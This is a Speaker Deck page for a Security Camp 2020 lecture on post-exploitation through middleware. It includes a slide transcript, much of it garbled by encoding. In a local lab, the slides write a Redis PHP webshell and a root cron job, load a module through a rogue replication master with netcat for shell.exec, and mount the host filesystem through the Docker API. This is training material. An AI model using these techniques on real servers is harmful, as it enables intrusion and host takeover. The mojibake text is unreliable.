Upgrade to Pro — share decks privately, control downloads, hide ads and more …

セキュリティ・キャンプ全国大会2020 オンライン B8 / seccamp2020-b8

Teppei Fukuda
November 22, 2020

セキュリティ・キャンプ全国大会2020 オンライン B8 / seccamp2020-b8

セキュリティ・キャンプ全国大会2020 オンライン Bトラックの講義資料です。
https://www.ipa.go.jp/jinzai/camp/2020/zenkoku2020_program_list.html#list_b8

こちらは本編で、MySQL/PostgreSQL編は以下にあります。
https://speakerdeck.com/tkmru/seccamp2020-b8

■ 概要
脆弱性や攻撃方法を理解するためにはシステムのアーキテクチャ、ネットワークプロトコル、そしてソフトウェアの内部動作を理解する必要があります。こういった深い理解はセキュリティだけではなくシステム開発・運用にも有益であり、セキュリティを通してソフトウェアエンジニアとしてのスキル向上が可能です。本講義では脆弱性や攻撃手法を基にどのように技術の理解を深めていくかについて学びます。
世間では日々セキュリティインシデントが起きていますが、その中には設定ミスにより意図しないファイルが見えてしまったりサーバに侵入されてしまったりといったものも多数存在します。しかしそのファイルやサーバには攻撃者にとって重要な情報がないこともあります。その場合、攻撃者は侵入したサーバの管理者権限を取得したり別サーバに侵入したりと侵害範囲や被害の拡大を試みます。このような侵入後の攻撃者の活動のことを広義にPost-Exploitationと呼びます。本講義ではPost-Exploitationの題材としてDB等のミドルウェアやDockerコンテナへの侵入を取り上げ、これらの内部からホストマシンの管理者権限奪取を試みる演習を行います。

Teppei Fukuda

November 22, 2020
Tweet

More Decks by Teppei Fukuda

Other Decks in Programming

Transcript

  1. ηΩϡϦςΟɾΩϟϯϓશࠃେձ2020ΦϯϥΠϯ Learn the essential way of thinking about vulnerabilities through

    post-exploitation on middlewares Teppei Fukuda (@knqyf263)
 Taichi Kotake (@tkmru)
  2. ࣗݾ঺հ  w ໊લɿ5BJDIJ,PUBLF !ULNSV  w ॴଐɿגࣜձࣾΞΧπΩ ɹɹɹηΩϡϦςΟΤϯδχΞ w

    ॴࡏ஍ɿ౦ژ w ஶॻ   w 8&# %#13&447PM ಛूπʔϧͰ؆୯ʂ͸͡Ίͯͷ੬ऑੑௐࠪʢٕज़ධ࿦ࣾʣ w ϦόʔεΤϯδχΞϦϯάπʔϧ(IJESB࣮ફΨΠυʢϚΠφϏग़൛ʣ
  3. ఁ࡯ ࣄલௐࠪ λʔήοτಛఆ ෢ثԽ Ϛϧ΢ΣΞ࡞੒ Exploit४උ ഑ૹ λʔήοτ΁઀ଓ ඪతܕϝʔϧ ϑΟογϯά

    ߈ܸ ੬ऑੑΛར༻ ෆਖ਼ίʔυͷ࣮ߦ Πϯετʔϧ όοΫυΞઃஔ ৵ೖ؀ڥௐࠪ ৵ೖ֦େ ݖݶঢ֨ ԣײછ ໨తୡ੒ ৘ใ઄औɾվ͟Μ γεςϜഁյ ߈ܸͷྲྀΕʢߨٛ༻ʹ΍΍վมʣ
  4. ఁ࡯ ෢ثԽ ഑ૹ ߈ܸ Πϯετʔϧ ৵ೖ֦େ ໨తୡ੒ कΔଆͷࢹ఺ʢ͋͘·ͰҰྫʣ Ϛϧ΢ΣΞఴ෇ͷ ϝʔϧݕ஌

    αϯυϘοΫε Ϛϧ΢ΣΞͷ࣮ߦݕ஌ ֎෦௨৴ͷՄࢹԽɾ؂ࢹ ෆਖ਼ͳ௨৴ݕग़ αʔόͳͲͷ ΞΫηε؂ࢹ ϑΝΠϧ؂ࢹ
  5. ։ൃ؀ڥͷμϛʔσʔλ͕ ౪·Ε͚ͨͩʁ 01 S T E P 02 S T

    E P 03 S T E P 04 S T E P 05 S T E P ։ൃαʔόͷroot ͸औΒΕͨʁ ຊ൪αʔόʹ΋ ৵ೖ͞Εͨʁ Active Directoryʹ ৵ೖ͞Εͨʁ DB͔Βݸਓ৘ใΛ ౪·Εͨʁ ৵ೖɾ৵֐ൣғͷ೺Ѳ͸ॏཁ
  6. 01 S T E P 02 S T E P

    03 S T E P 04 S T E P 05 S T E P ৵ೖޙͷ߈ܸํ๏ΛֶΜͰ͓͘ ΠϯύΫτ͕શ͘ҟͳΔ μϛʔσʔλ ݸਓ৘ใ ैۀһ৘ใ ৵ೖޙʹԿ͕ग़དྷͨͷ͔ʁΛ஌͓ͬͯ͘
  7. σʔλΛdumpͯ͠ΈΔ $ docker run -d --name redis -p 127.0.0.1:6379:6379 redis:5.0

    $ docker exec -it redis bash root@824e916202fd:/data# redis-cli 127.0.0.1:6379> set foo bar OK 127.0.0.1:6379> save OK $ 127.0.0.1:6379> exit root@824e916202fd:/data# cat dump.rdb REDIS0009 redis-ver5.0.10 redis-bits@ctimeused-mem aof-preamblefoobarb_ γϦΞϥΠζ͞Ε͍ͯΔ͕ อଘͨ͠GPPCBS͕ ೖ͍ͬͯΔ͜ͱ͕֬ೝͰ͖Δ
  8. w ߨٛ༻ͷΠϝʔδΛىಈ͠ɺSFEJTDMJͰϩάΠϯ͠·͢ w ·ͨɺϒϥ΢βͰIUUQMPDBMIPTUΛ։͍ͯQIQJOGP͕ݟ͑Δ͜ͱΛ ֬ೝͯ͠Լ͍͞ ࣮ࡍʹ΍ͬͯΈΔʢWebshellʣ $ docker rm -f

    redis $ docker run -d --name redis -p 127.0.0.1:10080:80 -p 127.0.0.1:6379:6379 knqyf263/redis-configset-webshell $ redis-cli 127.0.0.1:6379> ping PONG
  9. w QIQJOGPʹΑΓVTSTIBSFOHJOYIUNM͕υΩϡϝϯτϧʔτͱ෼͔ͬͨͷͰɺ DPOpHTFUEJSͰࢦఆ w %#ͷμϯϓͳͷͰΰϛ͕ೖΔ͕ɺ QIQ Ͱғͬͨͱ͜Ζ͕1)1ͱͯ͠ೝࣝ͞ ΕΔͷͰલޙͷΰϛ͸໰୊ͳ͍ PHPͷϑΝΠϧΛॻ͖ࠐΉʢWebshellʣ 127.0.0.1:6379>

    config set dir /usr/share/nginx/html OK 127.0.0.1:6379> config set dbfilename redis.php OK 127.0.0.1:6379> set test '<?php system($_GET["cmd"]);?>' OK 127.0.0.1:6379> save OK 127.0.0.1:6379> exit
  10. w IUUQMPDBMIPTUSFEJTQIQ DNEJEͳͲͰίϚϯυ͕࣮ߦ͞ΕΔ͜ͱΛ֬ೝ w IUUQMPDBMIPTUSFEJTQIQ DNEUPVDICBSͳͲͰϑΝΠϧ΋࡞੒Ͱ͖Δ w ࣮ࡍʹίϯςφʹϩάΠϯͯ͠ϑΝΠϧ͕࡞੒͞Ε͍ͯΔ͜ͱΛ֬ೝ͢Δ ֬ೝʢWebshellʣ $

    docker exec -it redis bash root@6b3e28756441:/data# ls /usr/share/nginx/html/ bar index.html index.php redis.php root@6b3e28756441:/data# cat /usr/share/nginx/html/ redis.php REDIS0009 redis-ver5.0.10 redis-bits@ctimeused-mem aof-preambletest<?php system($_GET["cmd"]);?>' ΰϛ͕ೖ͍ͬͯΔ͕  QIQ ͸ਖ਼͘͠ ॻ͖ࠐ·Ε͍ͯΔ
  11. w DSPO͸ίϚϯυΛఆظతʹ࣮ߦ͢ΔͨΊʹ࢖ΘΕΔ w ಛఆͷҐஔʹҎԼͷϑΥʔϚοτͰॻ͖ࠐΉͱίϚϯυ͕ఆظతʹ࣮ߦ͞ΕΔ ʢ࣮ࡍʹ͸DSPOUBCFͳͲͷίϚϯυΛ௨ͯ͠ฤू͢Δʣ w FUDDSPOUBC WBSTQPPMDSPO FUD crontabόʔδϣϯ

    #crontabͷॻࣜ # ʢߦ಄ͷ # ϚʔΫ͸ίϝϯτߦΛࣔ͢ʣ # +------------ ෼ (0 - 59) # | +---------- ࣌ (0 - 23) # | | +-------- ೔ (1 - 31) # | | | +------ ݄ (1 - 12) # | | | | +---- ༵೔ (0 - 6) (೔༵೔=0) # | | | | | # * * * * * ࣮ߦ͞ΕΔίϚϯυ 3FEJT͔ΒDSPOUBCʹॻ͖ࠐΊ͹ ೚ҙίϚϯυ͕࣮ߦՄೳ
  12. w ߨٛ༻ͷΠϝʔδΛىಈ͠ɺSFEJTDMJͰϩάΠϯ͠·͢ ࣮ࡍʹ΍ͬͯΈΔʢcrontabʣ $ docker rm -f redis # ͖ͬ͞ͷ΍ͭΛফ͓ͯ͘͠

    $ docker run -d --name redis -p 127.0.0.1:6379:6379 knqyf263/redis-configset- cron $ redis-cli 127.0.0.1:6379> ping PONG
  13. w ࠓճ͸WBSTQPPMDSPOSPPUʹॻ͖ࠐΉ w ˞ҰൠϢʔβͩͱ௨ৗ্هͷσΟϨΫτϦʹ͸ॻ͖ࠐΈݖݶ͕ͳ͍ w ΰϛ͕ೖΔ͕ɺߦ୯ҐͰͷղऍͳͷͰվߦ͓͚ͯ͠͹໰୊ͳ͘ಈ࡞ cronͷઃఆΛॻ͖ࠐΉ 127.0.0.1:6379> config set

    dir /var/spool/cron/ OK 127.0.0.1:6379> config set dbfilename root OK 127.0.0.1:6379> set payload "\n*/1 * * * * /bin/touch /tmp/foo\n" OK 127.0.0.1:6379> save OK 127.0.0.1:6379> exit
  14. w ࣮ࡍʹίϯςφʹϩάΠϯͯ͠ϑΝΠϧ͕࡞੒͞Ε͍ͯΔ͜ͱΛ֬ೝ͢Δ ֬ೝʢcrontabʣ $ docker exec -it redis bash [root@267da3bc4d5f

    /]# ls /tmp/foo /tmp/foo [root@267da3bc4d5f /]# cat /var/spool/cron/root REDIS0007 redis-ver3.2.12 redis-bits@ctimeused-meme payload! */1 * * * * /bin/touch /tmp/foo Q<Ў K ͜ͷߦ͚͕ͩ ਖ਼ৗʹղऍ͞ΕΔ ෼ʹ౓࣮ߦʣ
  15. SYNC/PSYNCͷڍಈΛ͔֬ΊΔ $ docker rm -f redis # ͖ͬ͞ͷ͸ফ͢ $ docker

    run -d --name redis -p 127.0.0.1:6379:6379 redis:5.0 $ telnet localhost 6379 SYNC $176 REDIS0009 redis-ver5.0.10 redis-bits@ctime used-mem°repl-stream-dbrepl- id(8d0e0dc1a11f2129499a0a8ff1d25151f69e679e repl-offset8 aof-preamble$*1 %#ͷμϯϓʢ3%#ϑΥʔϚοτʣ͕߱ͬͯ͘Δ
  16. PING $ telnet localhost 6379 SYNC ... *1 $4 PING

    4:/$Λൃߦͯ͠͠͹Β͘଴ͭͱ.BTUFS͔Β1*/(͕ඈΜͰ͘Δ ݟ׳Εͳ͍ܗ
  17. Redis Serialization Protocol (RESP) $ telnet localhost 6379 SYNC ...

    *1 $4 PING DMJFOUTFSWFSؒͷ΍ΓͱΓͷͨΊͷϓϩτίϧ .BTUFS3FQMJDB΋ؚΉʣ "SHVNFOUTDPVOU "SHVNFOUTMFOHUI "SHVNFOUTWBMVF IUUQTSFEJTJPUPQJDTQSPUPDPM
  18. Redis Serialization Protocol (RESP) *3 $3 SET $7 keyname $5

    value WBMVFͷ௕͞͸ LFZOBNFͷ௕͞͸ 4&5ͷ௕͞͸ Ҿ਺͸ͭ 4&5LFZOBNFWBMVF
  19. w छྨ͕αϙʔτ͞Ε͍ͯΔ w 1MBJOUFYUʢεϖʔε۠੾Γʣ w 4&5LFZOBNFWBMVF w $VTUPN w 

     4&5  LFZOBNF  WBMVF Redis Serialization Protocol (RESP)
  20. $ telnet localhost 6379 SYNC ... *2 $6 SELECT $1

    0 *3 $3 set $3 foo $3 bar $ redis-cli 127.0.0.1:6379> set foo bar OK %#Λબ୒ 4&-&$5 LFZWBMVFΛอଘ TFUGPPCBS ͜ΕΒͷίϚϯυ͸3FQMJDBͰ୯ʹ࣮ߦ͞ΕΔ
  21. $ cd [޷͖ͳdir] $ wget https://gist.githubusercontent.com/ knqyf263/16232934bd772ee9f8c76f4a10447aa2/raw/ fa6638ca34f279b1d5f06d1ddf2f83079589fe5b/docker-compose.yml $ docker-compose

    up -d $ docker-compose exec rogue bash ؀ڥͷىಈ w ޷͖ͳσΟϨΫτϦʹҠಈͯ͠EPDLFSDPNQPTFZNMΛμ΢ϯϩʔυ͢Δ w EPDLFSDPNQPTFΛىಈͯ͠FYFDͰSPHVFʹϩάΠϯ͢Δ ϋϯζΦϯதʹίϯςφ͕ࢮΜͩΒ EPDLFSDPNQPTFEPXOEPDLFSDPNQPTFVQE͢Δ ʢෆਖ਼ͳ3%#ϑΝΠϧͰΫϥογϡ͢Δ͜ͱ͕͋Δʣ
  22. NetcatίϚϯυ w ؆қͳΫϥΠΞϯτɺαʔόͷϓϩηεΛىಈ͢ΔίϚϯυ w Φϓγϣϯ w MMJTUFONPEF GPSJOCPVOEDPOOFDUT w QQPSUMPDBMQPSUOVNCFS

    w LTFULFFQBMJWFPQUJPOPOTPDLFU root@b6d0575dafc4:/rogue# nc -klp 10000 *1 $4 PING 3FQMJDB͔Β1*/(͕ ඈΜͰ͖͍ͯΔ IUUQTMJOVYEJFOFUNBOOD
  23. REPLCONFʹԠ౴͢Δ w ͨͩͷ"$,ͳͷͰ 0,Ͱ΋ '00Ͱ΋ԿͰ΋ྑ͍ w 3&1-$0/'MJTUFOJOHQPSU w 0, *3

    $8 REPLCONF $14 listening-port $4 6379 +FOO *5 $8 REPLCONF $4 capa $3 eof $4 capa $6 psync2 ࣍ͷ3&1-$0/'͕ ඈΜͰ͖͍ͯΔ
  24. REPLCONF capaʹԠ౴͢Δ w ͨͩͷ"$,ͳͷͰ 0,Ͱ΋ '00Ͱ΋ԿͰ΋ྑ͍ w 3&1-$0/'DBQBFPGDBQBQTZOD w 0,

    *5 $8 REPLCONF $4 capa $3 eof $4 capa $6 psync2 +OK *3 $5 PSYNC $40 d3d15637ec5ecf9f593ebb5f7345c3e2b2f5268 9 $1 1 14:/$͕ ඈΜͰ͖͍ͯΔ
  25. PSYNC w ಉظΛ్த͔Β࠶։͢ΔͨΊͷίϚϯυ w .BTUFS͸P⒎TFU෼͚ͩͣΒͯࠩ͠෼͚ͩฦ͢ w 14:/$SFQMJDBUJPOJEP⒎TFU w SFQMJDBUJPOJE͸จࣈ w

    14:/$EEFDFDGGFCCGDFCG w ॳճͷ৔߹͸14:/$ͱ͔14:/$ ͱ͔ʹͳΔ *3 $5 PSYNC $40 d3d15637ec5ecf9f593ebb5f7345c3e2b2f52689 $1 1
  26. 4:/$ʹରͯ͠σʔλΛྲྀ͠ࠐΉ *3 $5 PSYNC $1 ? $2 -1 +OK SYNC

    $10 aaaaaaaaaa SFEJTʹೖͬͯEVNQSECΛ֬ೝ $ docker-compose exec redis bash root@6a0b1d9439a7:/data# cat dump.rdb aaaaaaaaaa ݸͷB͕ॻ͖ࠐ·Ε͍ͯΕ͹0,
  27. 3FEJT.PEVMFΛྲྀ͠ࠐΉ w Ұ౓៉ྷʹͯ͠΍Γ௚͢ w Ϟδϡʔϧ͸طʹSPHVFίϯςφ಺ʹ഑ஔࡁΈʢFYQTPʣ root@b6d0575dafc4:/rogue# exit $ docker-compose down

    $ docker-compose up -d $ docker-compose exec rogue bash root@d99f653690ed:/rogue# cd /data/redis-rogue-server/ root@d99f653690ed:/data/redis-rogue-server# ls exp.so exp.so
  28. 3FEJT.PEVMFΛྲྀ͠ࠐΉ w ࠓճ͸ΠϯλϥΫςΟϒʹ΍ΒͣʹҰؾʹύΠϓͰྲྀ͠ࠐΉ root@efb5ffa4adf5:/rogue# redis-cli -h redis replicaof rogue 10000

    OK root@efb5ffa4adf5:/rogue# wc -c < exp.so 46800 root@efb5ffa4adf5:/rogue# ( echo "+PONG"; echo "+OK"; echo "+OK"; echo "+OK"; echo "\$46800"; cat exp.so ; ) | nc -lk -p 10000
  29. 3FEJT.PEVMFΛಡΈࠐΉ w EVNQSECʹϞδϡʔϧ͕ॻ͖ࠐ·Ε͍ͯΔͷͰ.0%6-&-0"%͢Δ w ͋ͱ͸TIFMMFYFDͰ޷͖ͳίϚϯυΛ࣮ߦՄೳ root@efb5ffa4adf5:/rogue# redis-cli -h redis redis:6379>

    MODULE LOAD ./dump.rdb OK redis:6379> shell.exec "id" "uid=999(redis) gid=999(redis) groups=999(redis)\n" TIFMMFYFDͷग़ྗ͸࠷ॳΰϛ͕ೖ͍ͬͯΔՄೳੑ͕͋Δ͕ ਺ճ࣮ߦ͢Δͱ៉ྷʹͳΔʢݪҼະௐࠪʣ
  30. ߈ܸऀʹ౎߹ͷྑ͍ίϯςφΛ࡞੒ ΛϚ΢ϯτͯ͠͠·͏ $ export DOCKER_HOST=tcp://x.x.x.x:2376 $ docker run -it -v

    /:/mnt alpine chroot /mnt w %0$,&3@)045ʹ߈ܸର৅Λࢦఆ w ͋ͱ͸ΛNOUʹϚ΢ϯτͯ͠DISPPU͢Δ͚ͩ ؆୯
  31. %PDLFSίϯςφ಺͔ΒͷFTDBQF w QSJWJMFHFEΛ͚͍ͭͯΔ৔߹ w EFWΛ࢖͏ํ๏ w OPUJpDBUJPOPOSFMFBTFΛ࢖͏ํ๏ w EPDLFSͷ੬ऑͳόʔδϣϯΛ࢖͍ͬͯΔ৔߹ w

    Χʔωϧͷ੬ऑͳόʔδϣϯΛ࢖͍ͬͯΔ৔߹ ղઆ͢Δ࣌ؒͳ͔ͬͨͷͰࢿྉࢀর IUUQTJCMBDLIBUDPN64"5IVSTEBZVT&EXBSET$PNQFOEJVN0G$POUBJOFS&TDBQFTVQQEG
  32. ·ͱΊ w ৵֐ൣғΛ೺Ѳ͢ΔͨΊʹ͸߈ܸऀ͕৵ೖޙʹग़དྷΔ͜ͱΛ೺Ѳ͢Δඞཁ͕͋Δ w 1PTU&YQMPJUBUJPOΛֶͿ͜ͱ͸ͦͷॿ͚ͱͳΔ w ۩ମྫͱͯ͠ϛυϧ΢ΣΞ৵ೖޙʹ04ίϚϯυ͕࣮ߦՄೳʹͳΔ৔߹΋͋Δ w .Z42- 1PTUHSF42-

    3FEJT %PDLFS FUD w ࣮ࡍʹखΛಈ͔ͯ͠ཪଆ·Ͱཧղ͢Δ͜ͱ͕ॏཁ ఁ࡯ ෢ثԽ ഑ૹ ߈ܸ Πϯετʔϧ ৵ೖ֦େ ໨తୡ੒ ϛυϧ΢ΣΞʹ৵ೖ Կ͕Մೳ͔ʁ